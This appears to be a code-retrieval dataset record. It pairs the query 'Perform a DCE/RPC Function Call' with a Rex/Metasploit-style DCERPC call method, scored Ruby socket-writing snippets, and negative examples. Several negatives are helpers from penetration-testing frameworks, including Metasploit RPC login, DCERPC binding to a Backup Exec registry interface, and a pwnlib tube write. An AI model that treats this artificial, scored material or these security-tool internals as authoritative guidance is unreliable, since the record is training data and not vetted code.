"def do_write(s)\n @wbuffer << s\n @wbuffer.force_encoding(Encoding::BINARY)\n @sync ||= false\n\n if @sync or @wbuffer.size > BLOCK_SIZE or idx = @wbuffer.rindex($/)\n remain = idx ? idx + $/.size : @wbuffer.length\n nwritten = 0\n\n while remain > 0\n str = @wbuffer[nwritten,remain]\n begin\n nwrote = syswrite(str)\n rescue Errno::EAGAIN\n retry\n end\n remain -= nwrote\n nwritten += nwrote\n end\n\n @wbuffer[0,nwritten] = \"\"\n end\n end",
"def send(data, opt={:type => :text})\n puts \"send ***************\"\n return if !@handshaked or @closed\n puts \"after send************\"\n type = opt[:type]\n frame = ::WebSocket::Frame::Outgoing::Client.new(:data => data, :type => type, :version => @handshake.version)\n begin\n @socket.write frame.to_s\n rescue Errno::EPIPE => e\n @pipe_broken = true\n emit :__close, e\n end\n end",
"def send_data(*args)\n EM.next_tick do\n @socket.send_data(*args)\n end\n end",
"def send_raw(data)\n raise ::Pwnlib::Errors::EndOfTubeError if @conn.nil?\n\n data.gsub!(context.newline, \"\\r\\n\") if @convert_newlines\n begin\n @conn.write(data)\n rescue RubySerial::Error\n close\n raise ::Pwnlib::Errors::EndOfTubeError\n end\n end",
"def on_write &block\n signal_connect \"write\" do |p, len|\n chunk = p.get_bytes(0, len)\n bytes_written = block.call chunk\n chunk.clear\n\n bytes_written\n end\n end",
"def on_write &block\n signal_connect \"write\" do |p, len|\n chunk = p.get_bytes(0, len)\n bytes_written = block.call chunk\n chunk.clear\n\n bytes_written\n end\n end",
"def write s\n raise RuntimeError, \"No socket\" unless @socket\n @socket.puts s += \"\\r\\n\"\n puts \"WROTE: #{s.inspect}\" if config[:debug]\n end",
"def outgoing=(pipe)\n\t\t\t@outgoing = MsgpackIoWriter.new(pipe)\n\t\tend",
"def handle_writable_io_event( event )\n\t\tif message = self.send_queue.shift\n\t\t\tmessage.send_to( self.socket )\n\t\telse\n\t\t\tself.reactor.disable_events( self.socket, :write )\n\t\tend\n\tend",
"def write(buf)\n @sendbuf_lock.synchronize {\n @sendbuf += buf\n\n while @sendbuf.size >= @block_size\n send_data(@sendbuf[0..@block_size-1])\n @sendbuf = @sendbuf[@block_size..-1].to_s\n end\n }\n end",
"def send_data data\n\t size = data.bytesize if data.respond_to?(:bytesize)\n\t size ||= data.size\n\t\tEventMachine::send_data @signature, data, size\n\tend"
] | [
"0.68764776",
"0.6636989",
"0.64705545",
"0.63882065",
"0.6383592",
"0.6345951",
"0.6224299",
"0.6193604",
"0.61663383",
"0.6109137",
"0.6066788",
"0.6012521",
"0.59364337",
"0.5906322",
"0.5827277",
"0.5808665",
"0.5795621",
"0.5746195",
"0.57272476",
"0.56772965",
"0.5669353",
"0.5659127",
"0.5635292",
"0.5517728",
"0.54852307",
"0.5481844",
"0.5457812",
"0.54121137",
"0.5384446",
"0.53773063",
"0.5360686",
"0.5350269",
"0.533679",
"0.52948606",
"0.5258506",
"0.52462983",
"0.5234619",
"0.5231213",
"0.5225342",
"0.5181586",
"0.51575506",
"0.51445055",
"0.5142305",
"0.51408756",
"0.51366884",
"0.5111934",
"0.51095414",
"0.5107379",
"0.50924534",
"0.50902015",
"0.5076827",
"0.5070012",
"0.5068206",
"0.5055779",
"0.5052784",
"0.5045403",
"0.5044472",
"0.5043457",
"0.50431913",
"0.50388885",
"0.5037595",
"0.5037595",
"0.5037595",
"0.5037595",
"0.50327754",
"0.50191504",
"0.5014469",
"0.50079757",
"0.50076216",
"0.5005985",
"0.49962795",
"0.49953026",
"0.49761653",
"0.49743652",
"0.49703223",
"0.49687505",
"0.49569207",
"0.49476156",
"0.492133",
"0.49111196",
"0.49099466",
"0.49027228",
"0.489231",
"0.48889285",
"0.48889285",
"0.48882473",
"0.48748595",
"0.48679668",
"0.48646381",
"0.48448163",
"0.48409882",
"0.48365843",
"0.4836307",
"0.48327032",
"0.48327032",
"0.4827903",
"0.48061",
"0.48022422",
"0.47959575",
"0.47947487"
] | 0.76911926 | 0 |
Perform a DCE/RPC Function Call | def call(function, data, do_recv = true)
frag_size = data.length
if options['frag_size']
frag_size = options['frag_size']
end
object_id = ''
if options['object_call']
object_id = self.handle.uuid[0]
end
if options['random_object_id']
object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))
end
call_packets = Rex::Proto::DCERPC::Packet.make_request(function, data, frag_size, self.context, object_id)
call_packets.each { |packet|
self.write(packet)
}
return true if not do_recv
raw_response = ''
begin
raw_response = self.read()
rescue ::EOFError
raise Rex::Proto::DCERPC::Exceptions::NoResponse
end
if (raw_response == nil or raw_response.length == 0)
raise Rex::Proto::DCERPC::Exceptions::NoResponse
end
self.last_response = Rex::Proto::DCERPC::Response.new(raw_response)
if self.last_response.type == 3
e = Rex::Proto::DCERPC::Exceptions::Fault.new
e.fault = self.last_response.status
raise e
end
self.last_response.stub_data
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def call(method, *args) rpc_execute(method, *args) end",
"def remote_call(rpc_method, request_args)\n rpc.execute(rpc_method, request_args)\n end",
"def execute_rpc_call(content)\n connection = RPCClient.new(@configuration.server_queue_name,@configuration.server_addr,@configuration.server_port)\n answer = connection.call(content)\n connection.stop\n return answer\n end",
"def dcerpc_call(function, stub = '', timeout=nil, do_recv=true)\n otimeout = dcerpc.options['read_timeout']\n begin\n dcerpc.options['read_timeout'] = timeout if timeout\n dcerpc.call(function, stub, do_recv)\n rescue ::Rex::Proto::SMB::Exceptions::NoReply, Rex::Proto::DCERPC::Exceptions::NoResponse\n puts \"The DCERPC service did not reply to our request\".light_red + \"!\".white\n return\n ensure\n dcerpc.options['read_timeout'] = otimeout\n end\nend",
"def call(method, *params)\n request('/RPC2',\n :method => 'post',\n :params => XMLRPC::Marshal.dump_call(method, *params)\n )\n end",
"def call_rpc(method, params: [])\n @api.send(method, *params)\n end",
"def remote_call(method, *args)\n begin\n @xmlrpc_client.call('xmlrpc.' + method.to_s, @api_key, *args)\n rescue XMLRPC::FaultException => e\n raise Fotolia::CommunicationError, e.message\n end\n end",
"def remote_call(rpc_method, request_args)\n self.execute(rpc_method, request_args)\n self.last_response\n end",
"def ljcall(ljfnname,params = {})\n get_challenge\n paramhash = @paramhash.merge Hash[*(params.map do |a,b| \n [a.to_s,b] \n end.flatten)]\n @client.call \"LJ.XMLRPC.#{ljfnname.to_s}\", paramhash\n end",
"def call(method, *args)\n self.class.rpc_execute(method, *args)\n end",
"def rpc(action, args={})\n company = @company\n username = @user\n password = @password\n url = \"https://#{company}.logicmonitor.com/santaba/rpc/#{action}?\"\n args.each_pair do |key, value|\n url << \"#{key}=#{value}&\"\n end\n url << \"c=#{company}&u=#{username}&p=#{password}\"\n uri = URI(url)\n begin\n http = Net::HTTP.new(uri.host, 443)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n req = Net::HTTP::Get.new(uri.request_uri)\n response = http.request(req)\n return response.body\n rescue SocketError => se\n puts \"There was an issue communicating with #{url}. Please make sure everything is correct and try again. Exiting\"\n puts se.message\n exit 3\n rescue Error => e\n puts \"There was an issue.\"\n puts e.message\n puts \"Exiting\"\n exit 4\n end\n return nil\nend",
"def call_rpc(*args)\n pid = Process.spawn(\n executable_path, *args\n )\n\n Process.wait pid\n end",
"def request(function_name, *para)\n id_count = id\n para = {'method' => function_name, 'params' => para, 'id' => id_count}\n .to_json\n send_request(para)\n result = get_response\n if result.empty? or result == nil\n raise(RpcError.new(\"empty respons\"))\n end\n response = JSON.load(result)\n if response[\"error\"] != nil\n raise(RpcError.new(response[\"error\"]))\n elsif response[\"id\"] != id_count\n raise(RpcError.new(\"server send wrong data.\"))\n end\n response[\"result\"]\n end",
"def call_rpc(method, args)\n method = sanitize_parameters(method)\n args = sanitize_parameters(args)\n resp = @rpc.call(\"#{@service}.#{method}\", args)\n\n return true if resp == 'OK'\n return resp\n end",
"def call(rpcname, responsetype, args=nil)\n rpc = VistaRPC.new(rpcname, responsetype)\n if !args.nil?\n rpc.params = args\n end\n rpcresponse = execute(rpc)\n return rpcresponse\n end",
"def invoke(optional_destination, rpc_method, *args)\n # TODO\n end",
"def rpc_invoke server_id, msg, &block\n @client.rpc_invoke server_id, msg, &block\n end",
"def apply\n return if @error\n fun = @service.procs[@fun]\n get = self.is_a?(Get)\n set_error(999, \"This JSON-RPC service does not provide a '#{@fun}' method.\", (get ? 404 : 500)) and return unless fun\n set_error(999, \"This method is not idempotent and can only be called using POST.\") and return if get && !fun[:idempotent]\n canonicalise_args fun\n return if @error\n begin\n @result = fun[:proc].call *@args_pos\n rescue Exception => e\n set_error 999, e.message + e.backtrace.join(\"\\n\")\n end\n # If the procedure return type is the string \"nil\", return nothing\n @result = nil if fun[:return][:type] == 'nil'\n end",
"def execute(rpc_method, request_args)\n @last_request = request(rpc_method, request_args)\n\n _service_class.client.__send__(rpc_method, @last_request) do |c|\n\n # In the event of service failure, raise the error.\n c.on_failure do |error|\n raise ActiveRemoteError, error.message\n end\n\n # In the event of service success, assign the response.\n c.on_success do |response|\n @last_response = response\n end\n end\n end",
"def client_code(facade)\r\n print facade.operation\r\nend",
"def call_s(rpcname, args=nil)\n rpc = VistaRPC.new(rpcname, RPCResponse::SINGLE_VALUE)\n if !args.nil?\n rpc.params = args\n end\n rpcresponse = execute(rpc)\n if rpcresponse.nil?\n return nil\n end\n if !rpcresponse.error_message.nil?\n @lastvistaerror = rpcresponse.error_message\n end\n return rpcresponse.value\n end",
"def send(*args)\n args = args.insert(1, @id) # Add the id in the arguments\n meth = args[0] # Method is the 1st argument\n begin\n if affordable?(meth)\n deduct(meth)\n self.call(*args)\n else \n raise Wordtracker::InsufficientFundsException.new\n end\n rescue XMLRPC::FaultException => e\n raise Wordtracker::FaultException.new(0, \"RPC error calling #{meth}\")\n end\n end",
"def make_call(*args)\n raise \"No connection established on #{@hostname}.\" unless connected?\n \n debug(\"Remote call: #{args.first} (#{args[1..-1].inspect})\")\n result = connection.call(*args)\n debug(\"Result: #{result}\\n\")\n result\n end",
"def call(envelope)\n mail = MarilynRPC::MailFactory.unpack(envelope)\n tag = mail.tag\n \n if mail.is_a?(MarilynRPC::CallRequestMail) # handle a call request\n # fetch the service and check if the user has the permission to access the\n # service\n service = lookup(mail.path)\n method = mail.method.to_sym\n if service.class.__methods_with_authentication__[method] && !@username \n raise MarilynRPC::PermissionDeniedError.new(\"No permission to access\" \\\n \" the #{service.class.name}##{method}\")\n end\n \n # call the service instance using the argument of the mail\n #puts \"call #{mail.method}@#{mail.path} with #{mail.args.inspect}\"\n result = service.__send__(method, *mail.args)\n #puts \"result => #{result.inspect}\"\n \n # no direct result, register callback\n if result.is_a? MarilynRPC::Gentleman\n result.tag = tag # set the correct mail tag for the answer\n result\n else # direct response\n MarilynRPC::Envelope.new(MarilynRPC::CallResponseMail.new(tag, result).encode, \n MarilynRPC::CallResponseMail::TYPE).encode\n end\n else\n raise MarilynRPC::BrokenEnvelopeError.new(\"Expected CallRequestMail Object!\")\n end\n rescue MarilynRPC::BrokenEnvelopeError => exception\n MarilynRPC::Envelope.new(MarilynRPC::ExceptionMail.new(nil, exception).encode, \n MarilynRPC::ExceptionMail::TYPE).encode\n rescue => exception\n #puts exception\n #puts exception.backtrace.join(\"\\n \")\n MarilynRPC::Envelope.new(MarilynRPC::ExceptionMail.new(tag, exception).encode, \n MarilynRPC::ExceptionMail::TYPE).encode\n end",
"def call(cmd, params = {}, user = nil, password = nil)\n params = {} if params.nil?\n params['Bugzilla_login'] = user unless user.nil? || password.nil?\n params['Bugzilla_password'] = password unless user.nil? || password.nil?\n params['Bugzilla_token'] = @token unless @token.nil?\n @xmlrpc.call(cmd, params)\n end",
"def client_code(facade)\n puts facade.operation\nend",
"def msfrpc(report_id)\n @msfoptions = RemoteEndpoints.first(:report_id => report_id)\n\n opts = {\n :host => @msfoptions.ip,\n :port => @msfoptions.port,\n :user => @msfoptions.user,\n :pass => @msfoptions.pass\n }\n begin\n rpc = Msf::RPC::Client.new(opts)\n rescue Exception => log\n puts \"[!] MSF CONNECTION FAILED\"\n puts log.message\n rpc = false\n end\n return rpc\nend",
"def call(*args)\n @args[:communicator].communicate(\n type: :call_created_func,\n id: @args[:id],\n args: @args[:php_process].parse_data(args)\n )\n end",
"def backupexec_regrpc_call(opnum, data = '')\n\n\t\thandle = dcerpc_handle(\n\t\t\t'93841fd0-16ce-11ce-850d-02608c44967b', '1.0',\n\t\t\t'ncacn_ip_tcp', [datastore['RPORT']]\n\t\t)\n\n\t\tdcerpc_bind(handle)\n\n\t\tresp = dcerpc.call(opnum, data)\n\t\toutp = ''\n\n\t\tif (dcerpc.last_response and dcerpc.last_response.stub_data)\n\t\t\toutp = dcerpc.last_response.stub_data\n\t\tend\n\n\t\tdisconnect\n\n\t\toutp\n\tend",
"def invoke(dst, rpc_method, *args)\n n = get_node(dst)\n # TODO raise exception if n.nil?\n n.invoke dst, rpc_method, *args\n end",
"def client_code(component)\n # ...\n\n print \"RESULT: #{component.operation}\"\n\n # ...\nend",
"def _execute_request(fun, args)\r\n\t\traise 'Store has been closed.' unless @open\r\n\t\t_maybe_reconnect()\r\n\r\n\t\tfailures = 0\r\n\t\tnum_nodes = @nodes.size\r\n\t\twhile failures < num_nodes\r\n\t\t\tbegin\r\n\t\t\t\treturn send(fun, *args)\r\n\t\t\trescue SocketError => message\r\n\t\t\t\t$LOG.warn(\"Error while performing #{fun} on node #{@node_id}: #{message}\")\r\n\t\t\t\t_reconnect()\r\n\t\t\t\tfailures += 1\r\n end\r\n end\r\n\r\n\t\traise VoldemortException.new(\"All nodes are down, #{fun} failed.\")\r\n end",
"def rpc_call(method, *args)\n data = rpc_params(method, *args)\n\n response = client.post('/', data)\n\n handle_rpc_response(response)\n rescue Faraday::Error => e\n raise UpstreamError, e.message\n end",
"def xml_rpc\n begin\n @@xmlrpc_reader ||= XMLRPC::XMLParser::REXMLStreamParser.new\n method, args = @@xmlrpc_reader.parseMethodCall(request.content)\n if (args.length != 1) or\n !args[0].is_a?(Hash)\n raise \"Invalid request; expecting a single hash of named parameters.\"\n end\n args = args.first\n args[:method] = method\n args[:_safe] = false\n xact = Transaction.new(args)\n xact.validate_args\n api = xact.execute\n render_results(api)\n rescue => e\n api = API.new\n @errors = api.convert_error(e, 501, nil, true)\n render_results(api)\n end\n end",
"def call(m_name, *args) \n @method_name = m_name\n @params = args\n finished = false\n attempt_count = 0\n proxy_url = build_proxy_url\n puts \"Service URL\\n\\t#{@url}\"\n puts \"Proxy URL:\\n\\t#{proxy_url}\"\n puts \"\\n\\n\"\n opts = {}\n #opts[\"protocol.http.basic_auth\"] = [service_url, user_name, password]\n opts['protocol.http.proxy'] = proxy_url\n \n #client = ActionWebService::Client::XmlRpc.new(@api, @url, :proxy => proxy_url)\n client = ActionWebService::Client::Soap.new(@api, @url, :driver_options => opts) \n args.insert(0, @key)\n args.insert(1, @src_system_code)\n while not finished\n begin\n attempt_count += 1\n if attempt_count > 3\n raise \"Cannot communicate with server\"\n end\n @results = client.send(@method_name.to_sym, *args)\n if @results\n finished = true\n end\n rescue Net::HTTPError => e\n puts e.response\n sleep 10\n raise \n rescue Exception\n sleep 10\n raise \n end\n end\n @results\n end",
"def invoke_json_rpc(params)\n params.merge!({ :version => @@fonolo_api_version })\n resp, data = @http.post(@uri.path, params.to_json, @headers)\n return JSON.parse(data)\n end",
"def call(function_name, args = {})\n uri = URI(config.endpoint + function_name)\n uri.query = build_query(default_arguments.merge(args))\n\n res = Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https') do |http|\n req = Net::HTTP::Get.new(uri.request_uri)\n req['Accept'] = 'application/json'\n http.request(req)\n end\n\n if res.content_type == 'application/json'\n data = symbolize_keys! JSON.parse(res.body)\n if data.key?(:error)\n raise Esgob::ServerError.new(\n data[:error][:message],\n data[:error][:code].to_s\n )\n elsif res.code !~ /^2/\n raise Esgob::ServerError.new(res.message, res.code)\n else\n return data\n end\n else\n raise \"HTTP response from ESGOB is not of type JSON\"\n end\n end",
"def client_code(component)\n puts \"RESULT: #{component.operation}\"\nend",
"def http_call(payload); end",
"def invoke_request(rpc_method, *args)\n 0.upto(args.size).each { |i| args[i] = args[i].to_s if args[i].is_a?(Symbol) }\n message = RequestMessage.new :method => rpc_method,\n :args => args,\n :headers => @message_headers\n\n # we serialize / unserialze messages to ensure local node complies\n # to same json-rpc restrictions as other nodes\n message = RequestMessage.new :message => message.to_s,\n :headers => @message_headers\n\n result = Dispatcher.dispatch_request(message.jr_method,\n :method_args => message.jr_args,\n :headers => @message_headers,\n :rjr_node => self,\n :rjr_node_id => @node_id,\n :rjr_node_type => @node_type,\n :rjr_callback =>\n LocalNodeCallback.new(:node => self,\n :headers => @message_headers))\n response = ResponseMessage.new(:id => message.msg_id,\n :result => result,\n :headers => @message_headers)\n\n # same comment on serialization/unserialization as above\n response = ResponseMessage.new(:message => response.to_s,\n :headers => @message_headers)\n return Dispatcher.handle_response(response.result)\n end",
"def call\n\n\tend",
"def call\n\n\tend",
"def invoke_direct(method_name, *args)\r\n prepare_request('api', 'api', method_name, *args)\r\n @controller.process(@request, @response)\r\n decode_rpc_response\r\n end",
"def rpc_invoke server_id, msg, &block\n unless @state == :state_started\n block_given? and yield Exception.new 'fail to do rpc invoke for client is not running'\n return\n end\n @station.dispatch server_id, msg, @args, block\n end",
"def invoke uri\n STDERR.puts \"invoke called with: #{uri}\"\n\n unless defined? MD\n # Setting universally accessible constants in JRuby runtime for Moneydance access\n # Not possible to do it in initialize() since datafile is not yet loaded there\n Object.const_set :MD, @context\n Object.const_set :ROOT, MD.root_account\n Object.const_set :TRANS, ROOT.transaction_set\n end\n\n command, args = uri.split /[:?&]/\n send *[command, args].flatten.compact\n end",
"def FunctionCall(rest, parsed); end",
"def invoke_layered(service_name, method_name, *args)\r\n prepare_request('api', service_name, method_name, *args)\r\n @controller.process(@request, @response)\r\n decode_rpc_response\r\n end",
"def request\n @rpc.request\n end",
"def command_string(cmd, params)\n clean_params = Hash[params]\n clean_params[:Bugzilla_password] = \"********\"\n \"xmlrpc_client.call(#{cmd}, #{clean_params})\"\n end",
"def call_a(rpcname, args=nil)\n rpc = VistaRPC.new(rpcname, RPCResponse::ARRAY)\n if !args.nil?\n rpc.params = args\n end\n rpcresponse = execute(rpc)\n if rpcresponse.nil?\n return nil\n end\n if !rpcresponse.error_message.nil?\n @lastvistaerror = rpcresponse.error_message\n end\n return rpcresponse.value\n end",
"def call(method_name, *params)\n request = nil\n response = nil\n\n @call_mutex.synchronize do\n request = [0, @msgid, method_name, params]\n @msgid = (@msgid % MAX_MSGID) + 1\n response = make_request_with_retries(request)\n end\n\n if response[0] != 1\n raise MsgpackRpcClient::Error, 'Response does not bear the proper type flag - something is very wrong'\n end\n if response[1] != request[1]\n raise MsgpackRpcClient::Error, 'Response message id does not match request message id - something is very wrong'\n end\n if response[2] != nil\n raise MsgpackRpcClient::Error, \"Server responded with error: #{response[2]}\"\n end\n\n response[3]\n end",
"def invoke(uri, rpc_method, *args)\n uri = URI.parse(uri)\n host,port = uri.host, uri.port\n\n message = Messages::Request.new :method => rpc_method,\n :args => args,\n :headers => @message_headers\n connection = nil\n @@em.schedule {\n init_client(:host => host, :port => port,\n :rjr_node => self) { |c|\n connection = c\n c.send_msg message.to_s\n }\n }\n\n # TODO optional timeout for response ?\n result = wait_for_result(message)\n\n if result.size > 2\n fail result[2]\n end\n return result[1]\n end",
"def invoke_request(uri, rpc_method, *args)\n init_node\n message = RequestMessage.new :method => rpc_method,\n :args => args,\n :headers => @message_headers\n res = Curl::Easy.http_post uri, message.to_s\n msg = ResponseMessage.new(:message => res.body_str, :headers => @message_headers)\n headers = @message_headers.merge(msg.headers)\n return Dispatcher.handle_response(msg.result)\n end",
"def call() end",
"def call(env)\n request = Parapets::Service::Request.new(env)\n\n version(request.version).action(:call, Parapets::Service::Request).call(env)\n end",
"def call(method, *args)\n\t\[email protected](method, *args)\n\trescue Errno::EPIPE\n $stderr.puts \"Had to restart the client! #{ Time.now }\"\n\t\t@client = XMLRPC::Client.new(@host)\n\t\[email protected](method, *args)\n\tend",
"def call(content)\n @remote.call @name, content\n end",
"def auth_send(funcname, args = nil)\n txid = get_txid\n\n # setup authenticated request if password given\n if @password\n cookie = get_cookie\n\n request = {\n 'q' => 'auth',\n 'aq' => funcname,\n 'hash' => Digest::SHA256.hexdigest(@password + cookie),\n 'cookie' => cookie,\n 'txid' => txid\n }\n\n request['args'] = args if args\n request['hash'] = Digest::SHA256.hexdigest(request.bencode)\n\n # if no password is given, try request without auth\n else\n request = { 'q' => funcname, 'txid' => txid }\n request['args'] = args if args\n end\n\n response = send request\n raise 'wrong txid in reply' if response['txid'] and response['txid'] != txid\n response\n end",
"def rpc_send(method_name, *args, &block)\n return yield if rpc_in_server_mode? || rpc_enabled?\n begin\n rpc_client << [method_name, args]\n response = rpc_client.read\n rescue => e\n #FIXME: error handling as an error occured at the transport layer\n end\n if response.erred?\n #will have response.message = {:em => 'error msg', :eb => ['error backtrace'], :om => 'original message'}\n end\n response.message\n end",
"def invoke\n execute_only(:invoke)\n end",
"def request(rpc_method, attributes)\n self.class.request(rpc_method, attributes)\n end",
"def call_remote \n def method_missing(*args)\n method, path = args\n if [:get, :post, :delete].index(method)\n sh \"\\ncurl -w '\\\\n' -X #{method.to_s.upcase} http://ec262discovery.herokuapp.com#{path}\"\n end\n end\n\n yield\n end",
"def invoke_delegated(service_name, method_name, *args)\r\n prepare_request(service_name.to_s, service_name, method_name, *args)\r\n @controller.process(@request, @response)\r\n decode_rpc_response\r\n end",
"def invoke_json_method(method, params={})\n response = self.class.post('/jsonrpc', :body => {\"jsonrpc\" => \"2.0\", \"params\" => params, \"id\" => \"1\", \"method\" => method}.to_json,:headers => { 'Content-Type' => 'application/json' } ) \nraise XBMCLibrary::UnauthorizedError, \"Could not authorize with XBMC. Did you set up the correct user name and password ?\" if response.response.class == Net::HTTPUnauthorized\n response\n \n # Capture connection errors and send them out with a custom message\n rescue Errno::ECONNREFUSED, SocketError, HTTParty::UnsupportedURIScheme => err\n raise err.class, err.message + \". Did you configure the url and port for XBMC properly using Xbmc.base_uri 'http://localhost:1234'?\"\n end",
"def call(address, sig, args, result_types)\n data = self._encode_function(sig, args)\n data_hex = RLP::Utils.encode_hex(data)\n response = eth_call(to: address, data: data_hex)\n return decode_abi(result_types, RLP::Utils.encode_hex(response[2..-1]))\n end",
"def new_function_call\n\t\t\t return create_function_call(SAPNW::RFC::FunctionCall)\n\t\t\tend",
"def call\n end",
"def call(*args)\n self.exec(*args)\n end",
"def call(request_hash)\r\n req_data = request_post_data(request_hash)\r\n \r\n if (@profile.use_proxy?)\r\n if( @pi[\"USER\"].nil? || @pi[\"PASSWORD\"].nil? )\r\n http = Net::HTTP::Proxy(@pi[\"ADDRESS\"],@pi[\"PORT\"]).new(@ep[\"SERVER\"], 443)\r\n else \r\n http = Net::HTTP::Proxy(@pi[\"ADDRESS\"],@pi[\"PORT\"],@pi[\"USER\"], @pi[\"PASSWORD\"]).new(@ep[\"SERVER\"], 443)\r\n end \r\n else \r\n http = Net::HTTP.new(@ep[\"SERVER\"], 443) \r\n end \r\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE #unless ssl_strict\r\n http.use_ssl = true; \r\n \r\n contents, unparseddata = http.post2(@ep[\"SERVICE\"], req_data, @headers) \r\n data = CGI::parse(unparseddata) \r\n transaction = Transaction.new(data) \r\n end",
"def invoke(uri, rpc_method, *args)\n message = Messages::Request.new :method => rpc_method,\n :args => args,\n :headers => @message_headers\n\n @@em.schedule {\n init_client(uri) do |c|\n c.stream { |msg| handle_message(msg.data, c) }\n\n c.send_msg message.to_s\n end\n }\n\n # TODO optional timeout for response ?\n result = wait_for_result(message)\n\n if result.size > 2\n fail result[2]\n end\n return result[1]\n end",
"def invoke_on_instance klass, method\n #$remote_invoker.invoke_on_instance klass, method\n DrbInvoker.invoker.invoke_on_instance klass, method\nend",
"def call\n end",
"def api_call_method(kt_api_url, version, api_key, secret_key, api_func, arg_assoc_hash)\n\n socket = Socket.new(AF_INET, SOCK_STREAM, 0)\n sockaddr = Socket.sockaddr_in(@m_port, @m_ip)\n \n connected = true\n\n #puts Benchmark.measure{\n begin\n socket.connect_nonblock(sockaddr)\n rescue Errno::EINPROGRESS\n IO.select(nil, [socket])\n begin\n socket.connect_nonblock(sockaddr)\n rescue Errno::EISCONN\n connected = false\n #puts \"Errno::EISCONN!!\"\n end\n end\n #}\n \n if connected\n url_path = get_call_url(kt_api_url, version, api_key, secret_key, api_func, arg_assoc_hash)\n\n buf = \"GET \" + url_path + \" HTTP/1.1\\r\\n\"\n buf << \"Host:\" + @m_ip + \":\" + @m_port.to_s + \"\\r\\n\"\n buf << \"Content-type: application/x-www-form-urlencoded\\r\\n\"\n buf << \"Accept: */*\\r\\n\"\n buf << \"\\r\\n\"\n buf << \"\\r\\n\"\n \n socket.write_nonblock buf\n end\n socket.close\n \n return connected\n end",
"def invoke; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call(*) end",
"def call(*) end",
"def execute(method_function, method_name, resource, **params)\n\n resource_uri = URI.parse(\"#{@rest_endpoint}#{resource}\")\n\n encoded_fields = ''\n if %w[POST PUT].include? method_name\n request = method_function.new(resource_uri.request_uri)\n if content_type == \"application/x-www-form-urlencoded\"\n unless params.empty?\n encoded_fields = URI.encode_www_form(params, Encoding::UTF_8)\n request.set_form_data(params)\n end\n else\n encoded_fields = params.to_json\n request.body = encoded_fields\n request.set_content_type(\"application/json\")\n end\n else\n resource_uri.query = URI.encode_www_form(params, Encoding::UTF_8)\n request = method_function.new(resource_uri.request_uri)\n end\n\n headers = RestClient.generate_telesign_headers(@customer_id,\n @api_key,\n method_name,\n resource,\n content_type,\n encoded_fields,\n user_agent: @@user_agent)\n\n headers.each do |k, v|\n request[k] = v\n end\n\n http_response = @http.request(resource_uri, request)\n\n Response.new(http_response)\n end",
"def dpExecuteAction(host, cmd)\n mc = rpcclient \"deploop\"\n h = Socket.gethostbyname(host)\n mc.identity_filter \"#{h[1][0]}\"\n mc.progress = false\n\n result = mc.execute(:cmd=> cmd)\n\n mc.disconnect\n\n result[0][:data].each do |a|\n puts a\n end\n\n result[0][:data][:exitcode]\n end",
"def api_call(payload); end",
"def rpc(service_name,task_name,arguments,options={})\n max_retries = options.fetch(:max_retries,1)\n left_retries = max_retries\n\n loop do\n request_id = \"#{@identity}-#{@counter+=1}\"\n request(\n service_name,\n :name => task_name,\n :arguments => [*arguments],\n :request_id => request_id\n )\n begin\n return receive_rpc_response(service_name,request_id,options)\n rescue TimeoutError\n rz_warn { \"rpc timeout, left retries #{left_retries}\" }\n left_retries -= 1\n raise unless left_retries > 0\n end\n end\n rescue TimeoutError => exception\n raise TimeoutError,\"#{exception.message} after #{max_retries} retries\"\n end",
"def rpc_execute(method, *args)\n rpc_execute_with_object(@openerp_model, method, *args)\n end",
"def call(call_url = self.call_url, arguments = self.arguments, resending = false)\n Postage.logger.info \"Sending Request [UID: #{self.uid} URL: #{call_url}] \\n#{arguments.inspect}\\n\"\n \n self.arguments[:uid] = self.uid\n self.arguments[:plugin_version] = Postage::PLUGIN_VERSION\n \n body = { :api_key => Postage.api_key, :arguments => arguments }.to_json\n \n Timeout::timeout(5) do\n self.response = self.class.post( call_url, :headers => HEADERS, :body => body )\n end\n \n Postage.logger.info \"Received Response [UID: #{self.uid}] \\n#{self.response.inspect}\\n\"\n \n resend_failed_requests unless resending\n return Postage::Response.new(self.response)\n \n rescue Timeout::Error, SocketError, Exception => e\n Postage.logger.error \"Failure [UID: #{self.uid}] \\n#{e.inspect}\"\n \n store_failed_request(e) unless resending \n return nil # no response generated\n end",
"def remote_call(remote_method, params)\n correlation_id = SecureRandom.uuid\n message = { id: correlation_id, jsonrpc: '2.0', method: remote_method, params: params}\n # Reply To => make sure the service knows where to send it's response.\n # Correlation ID => identify the results that belong to the unique call made\n @exchange.publish(message.to_json, routing_key: @server_queue.name, correlation_id: correlation_id,\n reply_to: @reply_queue.name)\n result = @results[correlation_id].pop\n @results.delete correlation_id # remove item from hash. prevents memory leak.\n result\n end",
"def execute(options = {})\n action = options[:action] ||= :validate\n eric_action = ACTIONS[action] || (raise ExecutionError.new(\"Invalid action: #{action}. Valid actions are #{ACTIONS.keys.join(', ')}\"))\n print_params = create_print_params(options)\n server_buffer = SDK::API.rueckgabepuffer_erzeugen\n result = Helpers::Invocation.with_result_buffer(false) do |local_buffer|\n SDK::API.bearbeite_vorgang(@xml, @type,\n eric_action,\n (action == :submit ? nil : print_params),\n options[:encryption],\n (action == :submit ? FFI::MemoryPointer.new(:uint32, 1) : nil), # transferHandle\n local_buffer,\n server_buffer)\n end\n server_result = SDK::API.rueckgabepuffer_inhalt(server_buffer)\n SDK::API.rueckgabepuffer_freigeben(server_buffer)\n print_params.pointer.free\n {\n result: result,\n server_result: server_result\n }\n end",
